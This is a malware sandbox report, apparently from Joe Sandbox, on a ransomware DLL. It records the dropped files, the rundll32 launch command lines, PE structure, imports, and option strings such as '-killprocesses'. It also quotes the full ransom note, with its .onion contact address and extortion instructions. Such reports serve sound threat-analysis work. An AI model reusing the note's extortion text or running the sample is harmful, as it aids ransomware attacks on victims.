Entropy (8bit):	5.947275186218554
Encrypted:	false
SSDEEP:
MD5:	FAC323F742B140679074E107EE87E135
SHA1:	A3DB694310CC1CC42C2746B5BB134A4F20382797
SHA-256:	00B66ADC7276F1D85873B63185CAF4CBB199A9E9A593BE0F83C85D40B5B5F78B
SHA-512:	A206BEDBEB97BCB540CAC49CC33CAE377CD82F8B25427769309CCD3378FD0DA549781BB4FA5A598F2932A5E032FE2F001F9139457B05D2D9629AA91676B00B91
Malicious:	false
Preview:	M..pW.........%..T../.v.J7....s.$.*k _......Au>..ww#Pm.<.g..{..T...?.....Tf5.-F....ux....D7C."9..U..c....a..n8.@j57...{_.p....].@g.e....m.[d/ .q...K............)L..=......8.Sz._.\...!.)..H...%Y....a..O.................................................................................................29yp10v5m8k.

C:\Users\user\_curlrc.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.947275186218554
Encrypted:	false
SSDEEP:
MD5:	FAC323F742B140679074E107EE87E135
SHA1:	A3DB694310CC1CC42C2746B5BB134A4F20382797
SHA-256:	00B66ADC7276F1D85873B63185CAF4CBB199A9E9A593BE0F83C85D40B5B5F78B
SHA-512:	A206BEDBEB97BCB540CAC49CC33CAE377CD82F8B25427769309CCD3378FD0DA549781BB4FA5A598F2932A5E032FE2F001F9139457B05D2D9629AA91676B00B91
Malicious:	false
Preview:	M..pW.........%..T../.v.J7....s.$.*k _......Au>..ww#Pm.<.g..{..T...?.....Tf5.-F....ux....D7C."9..U..c....a..n8.@j57...{_.p....].@g.e....m.[d/ .q...K............)L..=......8.Sz._.\...!.)..H...%Y....a..O.................................................................................................29yp10v5m8k.

C:\Users\user\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

Static File Info

General

File type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Entropy (8bit):	6.415018200157112
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	WIFCgRK79c.dll
File size:	1'047'552 bytes
MD5:	53a7c9b7ae1309fa2fda3cd9cd04d35d
SHA1:	0376101a6ba19ae78e70aa8ac355f73d2ba623ad
SHA256:	1354254499b2e3353708747d36c334074f40c1f726ea7590384f2192c972f8c3
SHA512:	7950bf1455471f4c881d9b432a7bfdb31cc4e667a9c2c3acf59d1940b0604bb04493ea5b2dddba44be5665e8c9006c7d0c0a234c64d4d8fca4061e3467363e27
SSDEEP:	12288:MaltsKTwLqC5SWYgeWYg955/155/QUrTaUHx2eP9RJbBDv6cTWPb9lWzpk+hMry/:MaltsKTwLB5k5PbG7pf6BadFmCxvzO
TLSH:	99257C17639801A8D4BBD1B8899B8506E7F1789A13219BCF06E11E9F3F677F05A3E350
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<..Ux...x...x.......t...............k.......w.......r....... ...........x...........y.......Q.......y.....u.y.......y...Richx..

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x18007f944
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x643054EA [Fri Apr 7 17:37:46 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2e2c8069f302ac6d7f1789051b3826ee

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007FB8E0CC2CD7h
call 00007FB8E0CC32FCh
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007FB8E0CC2B64h
int3
int3
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push edi
dec eax
sub esp, 10h
xor eax, eax
xor ecx, ecx
cpuid
inc esp
mov eax, ecx
inc ebp
xor ebx, ebx
inc esp
mov edx, edx
inc ecx
xor eax, 6C65746Eh
inc ecx
xor edx, 49656E69h
inc esp
mov ecx, ebx
mov esi, eax
xor ecx, ecx
inc ecx
lea eax, dword ptr [ebx+01h]
inc ebp
or edx, eax
cpuid
inc ecx
xor ecx, 756E6547h
mov dword ptr [esp], eax
inc ebp
or edx, ecx
mov dword ptr [esp+04h], ebx
mov edi, ecx
mov dword ptr [esp+08h], ecx
mov dword ptr [esp+0Ch], edx
jne 00007FB8E0CC2D2Dh
dec eax
or dword ptr [00071183h], FFFFFFFFh
and eax, 0FFF3FF0h
dec eax
mov dword ptr [0007116Bh], 00008000h
cmp eax, 000106C0h
je 00007FB8E0CC2CFAh
cmp eax, 00020660h
je 00007FB8E0CC2CF3h
cmp eax, 00020670h
je 00007FB8E0CC2CECh
add eax, 000000B0h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xea5a0	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xea5e8	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x104000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xfa000	0x816c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x105000	0x2014	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xd2f60	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xd2f80	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xd2e20	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xbc000	0x400	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xbad64	0xbae00	8f55b4ac4e7eaca20d9779a02977781f	False	0.4639919523411371	data	6.485507898396167	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xbc000	0x2f38c	0x2f400	a62b1dad41605c258c6a72caa81266b2	False	0.384724289021164	OpenPGP Secret Key	5.065550450218101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xec000	0xdde4	0xae00	20926d852550c95fdc77b73ee22c9617	False	0.1515355603448276	MS Windows icon resource - 1 icon, 64x64, 32 bits/pixel	4.457817718988241	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xfa000	0x816c	0x8200	f819e67b2849c0d34510b8130bbde7ce	False	0.4874098557692308	data	5.926864601889866	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x103000	0x15c	0x200	ddeb9d617e4796b65878a17b3406746d	False	0.40625	data	3.298737612019978	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x104000	0x1e0	0x200	a11dd5bbea3e7af21d2a0b6b1db08d9a	False	0.529296875	data	4.724728911998389	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x105000	0x2014	0x2200	1e95accb4d54abd886ba9146f6d3dbff	False	0.2633272058823529	data	5.3715996917552005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x104060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	OpenMutexW, CreateProcessA, GetTickCount, GetModuleFileNameW, lstrcmpW, FindFirstVolumeW, FindNextVolumeW, FindVolumeClose, GetVolumeInformationW, GetVolumePathNamesForVolumeNameW, CreateFileW, WriteFile, CloseHandle, CreateMutexW, ReadFile, SetFileAttributesW, WaitForSingleObject, CreateThread, MoveFileW, SetLastError, QueryPerformanceCounter, QueryPerformanceFrequency, SetEndOfFile, WriteConsoleW, GetLastError, GetTempPathW, FindNextFileW, FindFirstFileW, GetFileSizeEx, FindClose, WaitForSingleObjectEx, Sleep, GetCurrentThreadId, GetNativeSystemInfo, InitializeSRWLock, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, TryEnterCriticalSection, DeleteCriticalSection, WideCharToMultiByte, MultiByteToWideChar, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, EncodePointer, DecodePointer, LCMapStringEx, GetLocaleInfoEx, GetStringTypeW, CompareStringEx, GetCPInfo, InitializeCriticalSectionAndSpinCount, SetEvent, ResetEvent, CreateEventW, InitializeSListHead, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetCurrentProcess, TerminateProcess, GetCurrentProcessId, RtlPcToFileHeader, RaiseException, RtlUnwindEx, InterlockedPushEntrySList, InterlockedFlushSList, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, GetDateFormatW, GetTimeFormatW, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetStdHandle, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, ReadConsoleW, HeapReAlloc, HeapSize, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, GetProcessHeap, SetStdHandle, RtlUnwind
SHELL32.dll	SHChangeNotify
ADVAPI32.dll	CryptReleaseContext, CryptAcquireContextA, RegSetValueExW, RegCreateKeyExW, CryptGenRandom

Exports

Name	Ordinal	Address
VisibleEntry	1	0x18000c470

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	02:48:17
Start date:	27/10/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\WIFCgRK79c.dll"
Imagebase:	0x7ff6506f0000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:48:17
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:48:17
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",#1
Imagebase:	0x7ff6b6380000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:48:17
Start date:	27/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\WIFCgRK79c.dll,VisibleEntry
Imagebase:	0x7ff60b070000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	02:48:17
Start date:	27/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",#1
Imagebase:	0x7ff60b070000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:48:20
Start date:	27/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",VisibleEntry
Imagebase:	0x7ff60b070000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.4%
Total number of Nodes:	289
Total number of Limit Nodes:	11

Executed Functions

Function 00007FFDFB616350 Relevance: 42.4, APIs: 16, Strings: 8, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6172C7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6172CD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6172D3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6172DF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6172E5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6172EB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6172F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6172F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB617308
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61730E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61731C

Strings

-file, xrefs: 00007FFDFB61604A
-bomb, xrefs: 00007FFDFB615992
-nomutex, xrefs: 00007FFDFB615E88
-killprocesses, xrefs: 00007FFDFB616254
vices, xrefs: 00007FFDFB615A9E
-disablewhitelist, xrefs: 00007FFDFB615F65
ivate, xrefs: 00007FFDFB615B95
-threads, xrefs: 00007FFDFB6161AA

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: -bomb$-disablewhitelist$-file$-killprocesses$-nomutex$-threads$ivate$vices
API String ID: 3668304517-1799989578
Opcode ID: 010f83850787d6f9ea07b0b9a2b69215c67636f7b50f6e851a2710fab0b9e3be
Instruction ID: 6d539fd96cb760cd72cdcf42c6e83ecca9784e2f6a52c84e03590665e04863a4
Opcode Fuzzy Hash: 010f83850787d6f9ea07b0b9a2b69215c67636f7b50f6e851a2710fab0b9e3be
Instruction Fuzzy Hash: 8CF1A232B1AB8695EB009F65E8646AE33B1FB44798F405235DA6D1BAFDDF38E045C340

Function 00007FFDFB615210 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 169
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexW.KERNEL32 ref: 00007FFDFB615337
CreateMutexW.KERNEL32 ref: 00007FFDFB61543C

Strings

-file, xrefs: 00007FFDFB61604A
-bomb, xrefs: 00007FFDFB615992
-nomutex, xrefs: 00007FFDFB615E88
-killprocesses, xrefs: 00007FFDFB616254
vices, xrefs: 00007FFDFB615A9E
-disablewhitelist, xrefs: 00007FFDFB615F65
D, xrefs: 00007FFDFB615348
ivate, xrefs: 00007FFDFB615B95
-threads, xrefs: 00007FFDFB6161AA

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Mutex$CreateOpen
String ID: -bomb$-disablewhitelist$-file$-killprocesses$-nomutex$-threads$D$ivate$vices
API String ID: 4030545807-3157106016
Opcode ID: a5974c9507299aef9045eef88e256c57f8b98e2872d12df1fcf34d0cc824dc09
Instruction ID: 01bb2218aa2f17e963bdcae4dbfad6831380d11577a18e52de043827531c1bff
Opcode Fuzzy Hash: a5974c9507299aef9045eef88e256c57f8b98e2872d12df1fcf34d0cc824dc09
Instruction Fuzzy Hash: 79615A07B24262CAE314DBF190505EE37B2FF64709711A02ADB09ABA68F7BD9115835E

Function 00007FFDFB646FB0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 94
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFB647776), ref: 00007FFDFB646FEC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFB647776), ref: 00007FFDFB646FF6
CryptAcquireContextA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFB647776), ref: 00007FFDFB647019
CryptAcquireContextA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFB647776), ref: 00007FFDFB64703C
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFB647776), ref: 00007FFDFB64706C
__std_exception_copy.LIBVCRUNTIME ref: 00007FFDFB6470DD

Strings

CryptAcquireContext, xrefs: 00007FFDFB647072
Crypto++ RNG, xrefs: 00007FFDFB64700F, 00007FFDFB647032
(, xrefs: 00007FFDFB647023

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: AcquireContextCrypt$ErrorLast$__std_exception_copy
String ID: ($CryptAcquireContext$Crypto++ RNG
API String ID: 3252210402-440840224
Opcode ID: bbd19ce629bc5c529fb6ce58fac0f6978822bbb434867553d9d3e60be96ca04d
Instruction ID: 3a359b4df28fdc7f21d68677da04d111bdc2cc13bceccd292429274935ed0c94
Opcode Fuzzy Hash: bbd19ce629bc5c529fb6ce58fac0f6978822bbb434867553d9d3e60be96ca04d
Instruction Fuzzy Hash: 1931807271AB4392EB509F24E860BB97360FB88B44F445131D65C4BAB8EF7DE159C740

Function 00007FFDFB61C470 Relevance: 12.8, APIs: 6, Strings: 1, Instructions: 584
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00007FFDFB61C49C

Part of subcall function 00007FFDFB615210: OpenMutexW.KERNEL32 ref: 00007FFDFB615337

Part of subcall function 00007FFDFB617330: GetTempPathW.KERNEL32 ref: 00007FFDFB6173CA

GetTickCount.KERNEL32 ref: 00007FFDFB61C9D1
CreateProcessA.KERNEL32 ref: 00007FFDFB61CD32
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61CE46
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61CE4C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61CE52

Strings

Checking arguments, xrefs: 00007FFDFB61C558

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CountTick$CreateMutexOpenPathProcessTemp
String ID: Checking arguments
API String ID: 3709659341-3464281490
Opcode ID: 9667c79369166f1d601dd4f2523803258ad26de3a1175372d2966985e63ce435
Instruction ID: 5c01d883f44599103ba27b325413306ff98f1c2289b5aa3fcfcb76f1d6c93461
Opcode Fuzzy Hash: 9667c79369166f1d601dd4f2523803258ad26de3a1175372d2966985e63ce435
Instruction Fuzzy Hash: AF429D62B15B8295EB10DF74D8647ED2361FB44B98F549232EA7C0BAEDDF78E1808340

Function 00007FFDFB647700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptGenRandom.ADVAPI32 ref: 00007FFDFB647789
CryptReleaseContext.ADVAPI32 ref: 00007FFDFB6477A4

Part of subcall function 00007FFDFB647120: GetLastError.KERNEL32 ref: 00007FFDFB647155

Part of subcall function 00007FFDFB690324: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFDFB61846F), ref: 00007FFDFB690368
Part of subcall function 00007FFDFB690324: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFDFB61846F), ref: 00007FFDFB6903AE

Strings

CryptGenRandom, xrefs: 00007FFDFB6477FA

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

